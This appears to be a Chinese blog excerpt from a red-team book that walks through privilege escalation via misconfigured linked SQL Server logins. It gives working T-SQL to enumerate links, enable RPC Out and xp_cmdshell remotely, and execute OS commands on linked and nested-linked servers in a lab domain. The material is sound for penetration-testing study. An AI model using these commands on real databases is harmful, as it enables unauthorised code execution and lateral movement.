• 利用Linked SQL Server提权


    点击星标,即时接收最新推文

    953f40018c6bcc073c11838f42b98873.png

    本文选自《内网安全攻防:红队之路》

    扫描二维码五折购书

      

    利用Linked SQL Server提权

    Linked SQL server是一个SQL Server数据库中的对象,它可以连接到另一个SQL Server或非SQL Server数据源(如Oracle,MySQL,PostgreSQL等),并且可以使用该数据源中的表和视图。通过使用Linked server,用户可以在单个查询中访问多个数据源中的数据,而无需将数据导入到本地数据库中。

    Linked server通常用于数据集成和数据仓库环境中的查询,以及需要从多个数据源中检索数据的应用程序。

    当创建从一个SQL服务器到另一个服务器的链接时,管理员必须指定在连接过程中使用的执行上下文。虽然可以基于当前登录的安全上下文创建一个动态的上下文,但是一些管理员可能为了配置方便而使用一个特定的SQL账户登录。如果管理员使用一个特定的SQL登录,并且该登录具有sysadmin角色权限,我们将能在链接的SQL服务器上获得sysadmin权限。

    在渗透测试过程,如果遇到了集成到活动目录的MS SQL数据库,我们需要测试目标环境是否存在这种误配置。

    我们首先枚举当前服务器链接的服务器。可以使用sp_linkedserver存储过程查看。在下面的例子中,我们连接到APPSRV01服务器,以普通域用户dev\dave认证,使用ESC工具进行查询:

    1. set instance appsrv01.dev.ms08067.cn
    2. EXEC sp_linkedservers
    3. go

    c7a8d497a89a3877185ccbf01b221bc2.png

    sp_linkedservers列举连接的服务器

    ESC客户端list links命令也可以用查询:

    list links

    1f33684508ff762f0dcab60a05533d37.png

    ESC列举链接的服务器

    从上面的输出可以看到,当前服务器APPSRV01\SQLEXPRESS存在一个远程链接的服务器DEV-DC01,远程登录名为sa。下一步我们可以尝试在链接的服务器上执行查询,可以使用OPENQUERY关键字实现。首先我们查询链接的服务器的数据库实例版本:

    select version from openquery("dev-DC01", 'select @@version as version')

    ecf24dee16af06e97ec8866c9edcef94.png

    查看dev-DC01数据库版本

    输出证明我们可以在链接的服务器上执行查询。接下来,我们需要确认是在哪个安全上下文执行:

    select SecurityContext from openquery([dev-DC01], 'select SYSTEM_USER as SecurityContext')

    ba0801b3aa5bb5ef3336e770252cc673.png

    查询安全上下文

    从输出可以看到虽然我们本地登录是域用户dev\dave,但链接的安全上下文是sa。有了sa权限,我们可以使用前面介绍过的方法在链接的服务器实现代码执行,这里使用xp_cmdshell。

    需要注意的是xp_cmdshell需要改变advanced options,我们必须使用RECONFIGURE语句更新运行时配置。当这个语句在远程服务器执行时,微软使用Remote Procedure Call(RCP)实现。因此创建的链接必须配置RPC Out设置,默认没有启用,如果我们当前用户有sysadmin权限,可以使用sp_serveroption存储过程启用。这里为了演示在链接的服务器执行命令,我们先在APPSRV01服务器手动启用。在appsrv01上执行:

    1. USE master;
    2. EXEC sp_serveroption 'dev-DC01', 'rpc out', 'true';
    3. RECONFIGURE

    8cac07bd25e2e545cea1b53fd92c0fd8.png

    启用RPC Out

    然后我们尝试在链接的服务器dev-DC01上执行命令。OPENQUERY存储过程无法在链接服务器执行,所以这里我们使用AT关键字指定要执行查询的链接服务器。注意要对内部的单引号通过双写进行转义:

    1. EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT [dev-DC01]
    2. EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT [dev-DC01]
    3. EXEC ('xp_cmdshell ipconfig') AT [dev-DC01]

    fd9d4684c485e4665e9a11a87374152a.png

    在链接服务器执行命令

    可以看到我们成功在链接的远程服务器dev-DC01上获得代码执行。

    虽然微软的文档说明,在链接的SQL服务器上不支持用OPENQUERY关键字执行存储过程,但实际上可以利用堆叠查询的方式执行:

    1. SELECT * FROM OPENQUERY("dev-DC01", 'select @@Version; exec xp_cmdshell ''ipconfig > c:\Tools\ipconfig.txt''')
    2. go

    7976b85973c03a556ea19f12d99895ac.png

    利用堆叠查询执行命令

    虽然命令结果没有回显,但实际命令成功执行。

    上面我们发现appsrv01上的数据库配置了到dev-DC01上数据库的链接。我们也可以在dev-DC01上执行sp_linkedservers存储过程,查看是否存在从dev-DC01到其他数据库服务器的链接。需要注意的是SQL服务器的链接默认不是双向的,所以依赖于管理员配置。我们可以使用如下语句查询:

    1. set instance appsrv01.dev.ms08067.cn
    2. EXEC ('sp_linkedservers') AT [dev-DC01]
    3. go

    22184c6d44df5d4b05c4a49c6a7a73ed.png

    dev-DC01数据库链接枚举

    从输出可以看到也存在从dev-DC01到APPSRV01的数据库链接。我们之前已经通过链接在dev-DC01上获得了sa权限,可以再次通过链接返回到APPSRV01。使用下面命令查看在APPSRV01上的登录上下文:

    select mylogin from openquery("dev-dc01", 'select mylogin from openquery("appsrv01", ''select SYSTEM_USER as mylogin'')')

    a070cafb44b4c7ceb3b07c011d1c99c4.png

    APPSRV01权限查询

    从输出可以看到我们在appsrv01上也获得了sa权限,因为是sysadmin角色,我们可以通过相同的方法实现代码执行。同样也需要在dev-DC01上配置RPC Out:

    49c3b47eeec4b5f5a10ba0b139e31cb6.png

    dev-DC01启用RPC Out

    然后启用xp_cmdshell并执行命令,需要注意单引号的转义:

    1. set instance APPSRV01.dev.ms08067.cn
    2. EXEC ('EXEC (''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [appsrv01]') AT [dev-dc01]
    3. EXEC ('EXEC (''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [appsrv01]') AT [dev-dc01]
    4. EXEC ('EXEC (''xp_cmdshell ''''ipconfig&hostname'''''') AT [appsrv01]') AT [dev-dc01]
    5. go

    2d46f6a998deefcce06ad31b59182fb5.png

    通过嵌套链接执行命令

    上面例子可以看到,我们先从APPSRV01通过链接的方式在dev-DC01上执行命令,然后又通过链接方式,从dev-DC01跳回到APPSRV01并在上面成功执行命令。我们可以枚举嵌套链接的数据库,并执行查询。理论上,可以多次跟随链接并获得代码执行。

    —  实验室旗下直播培训课程  —

    300a327be070b9632a3eb777c7bca8ec.png

    8c502dda49eb2e6cb4621f0c1c5df5e7.jpeg

    a5981d6b887be1c87457c84502b0c7f2.jpeg77ec98e8cc0bd9013eb07685b1e0ffdd.png

    6dc59f7d2722905beda04db41d8be20b.png

    14c37c467ecc1a8475dd60cd8fd4f8a4.jpeg

    00c1f4e6fb935974dbf90a3a5c318e9d.jpeg

    f5680fba7f02bf7d586a0b522b7b4345.jpeg

    5126d4f1d94209992cca24563dfca9be.png

    和20000+位同学加入MS08067一起学习

    4acf647a25bb1204666eb09e8f33ed40.gif

  • 相关阅读:
    漏洞(某渗透测试)修复-springboot项目使用内置tomcat去除\隐藏页面的异常报错信息以及版本号信息,亲测有效。
    HEC-RAS 1D/2D水动力与水环境模拟从小白到精通
    WPF基础的一些基本操作
    数据结构排序算法之直接插入排序与希尔排序【图文详解】
    常见的状态码即问题解决
    【Python Web】django框架(十)员工管理系统(用户管理)
    ffmpeg基础四:RTP协议
    处理vue直接引入图片地址时显示不出来的问题 src=“[object Module]“
    Spring声明式事务
    三大运营商乘风破浪,为什么离不开BAT等互联网企业?
  • 原文地址:https://blog.csdn.net/shuteer_xu/article/details/139974522